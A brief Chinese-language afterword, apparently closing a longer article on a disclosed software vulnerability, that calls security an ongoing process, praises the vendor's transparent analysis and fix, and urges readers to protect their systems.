后记:安全是一个持续的过程,而非一次性的任务。本次漏洞从发现到公告,官方给出了完整的技术分析和修复方案,这种透明度值得赞赏。希望本文能帮助更多人认识到漏洞的严重性,并采取有效措施保护自己的系统。让我们一起为更安全的互联网环境努力。